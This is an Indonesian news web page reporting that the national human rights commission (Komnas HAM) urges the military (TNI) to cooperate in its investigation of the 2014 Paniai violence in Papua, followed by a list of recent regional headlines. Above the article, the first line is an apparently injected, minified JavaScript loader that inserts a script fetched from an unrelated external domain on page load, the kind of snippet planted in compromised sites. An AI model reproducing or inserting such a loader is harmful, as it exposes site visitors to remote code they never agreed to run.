(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
NASIONAL

Komnas HAM Desak TNI Kooperatif dalam Penyelidikan Kasus Paniai


JAKARTA, Komisi Nasional Hal Asasi Manusia (Komnas HAM) meminta Tentara Nasional Indonesia (TNI) kooperatif dalam memenuhi panggilan terkait penyelidikan kasus pelanggaran HAM di Paniai, Papua. Sejauh ini, TNI dianggap belum cukup koorperatif.

Ketua Tim Ad Hoc Penyelidikan Pelanggaran HAM Berat Peristiwa Paniai M. Choirul Anam mengatakan TNI belum sekooperatif Kepolisian Republik Indonesia (Polri) untuk memberikan keterangan atas peristiwa yang terjadi pada Desember 2014 lalu tersebut. Padahal, Komnas HAM membutuhkan keterangan dan dokumen dari berbagai pihak untuk bisa menyimpulkan kasus pelanggaran HAM Paniai. “Kami harap TNI kooperatif dengan Komnas HAM,” kata Anam saat konferensi pers di Jakarta, Jumat (5/4) dilansir katadata.co.id.

Dia mengatakan apabila TNI tak memenuhi panggilan Komnas HAM maka mereka melewatkan kesempatan konfirmasi sebelum kesimpulan kasus Paniai dibuat. “Kedatangannya sebenarnya buat mereka (TNI) sendiri,” kata Anam.

Meski begitu, ia membuka kemungkinan pemanggilan paksa terhadap aparat TNI yang diduga terlibat. Laporan atas kasus tersebut ditargetkan rampung tahun ini. Kasus ini bermula dari kekerasan oleh orang tak dikenal terhadap beberapa anak di Distrik Paniai Timur, Paniai, Papua pada 7 Desember 2014. Merespons kejadian tersebut, warga menutup jalan menuntut pelaku kekerasan ditangkap.

Aksi pemalangan jalan berlanjut tarian adat di Lapangan Karel Gobay dan pelemparan batu ke arah Koramil Paniai Timur. Tindakan ini direspons tindakan represif aparat. Buntut kejadian ini empat orang meninggal dunia dan sebelas mengalami luka. Anam mengatakan Komnas HAM akan memanggil lagi 10 orang yang bertanggung jawab atas kebijakan komando di tingkat bawah. “Sudah (kami catat), lebih dari sepuluh orang akan dipanggil,” kata dia.

Wakil Ketua Tim Sandrayati Moniaga mengatakan sebenarnya audiensi dengan TNI pernah dilakukan pada 2016 lalu. Saat itu, Kementerian Politik, Hukum, dan Keamanan (Polhukam) juga sempat membentuk tim untuk menyelesaikan kasus ini, namun belum ada titik terang. “Kalau semakin lama akan semakin sulit temukan kebenaran,” katanya.

Adapun Tim Ad Hoc Penyelidikan Pelanggaran HAM Berat Peristiwa Paniai baru saja mengalami perubahan komposisi. Berdasarkan Keputusan Ketua Komnas HAM RI No 005/KOMNASHAM/II/2019, posisi ketua Tim dijabat oleh Choirul Anam, sedangkan Wakil Ketua Tim dijabat oleh Sandrayati Moniaga serta Munafrizal Manan.(Ameidyo Daud/ktd)

Reporter:Ameidyo Daud/ktd
Editor:Ktd

Desy Arfianty

Recent Posts

Diakhiri Nobar Timnas, Pj Bupati Kapuas Menutup Expo Kapuas 2024

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi secara resmi menutup gelaran Expo… Read More

2 jam ago

Bingkisan Kebahagiaan PLN untuk Warga Kalsel yang Membutuhkan

KANALKALIMANTAN.COM, BANJARBARU - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur (UIP3B) Kalimantan melalui… Read More

2 jam ago

Asa Warga Banjarmasin Timnas Indonesia Masuk Olimpiade Paris 2024

KANALKALIMANTAN.COM, BANJARMASIN - Nonton bareng (Nobar) laga semifinal AFC U-23 Indonesia vs Uzbekistan di halaman… Read More

2 jam ago

Ini Tiga Rekor Muri Sebagai Kado HUT ke-73 Kabupaten Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS – Tiga rekor Museum Rekor Indonesia (Muri) menjadi catatan kado Hari Jadi… Read More

3 jam ago

Ritual Laluhan dan Ngarunya Lengkapi Perayaan HUT ke-73 Kabupaten Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Momen perayaan Hari Jadi ke-218 Kota Kuala Kapuas dan Hari Ulang… Read More

3 jam ago

Laga Terakhir Timnas Indonesia Berharap Juara Ketiga Piala Asia U-23

KANALKALIMANTAN.COM, BANJARBARU - Tim Nasional (Timnas) Indonesia U-23 dipastikan gagal melaju ke final Piala Asia… Read More

5 jam ago

This website uses cookies.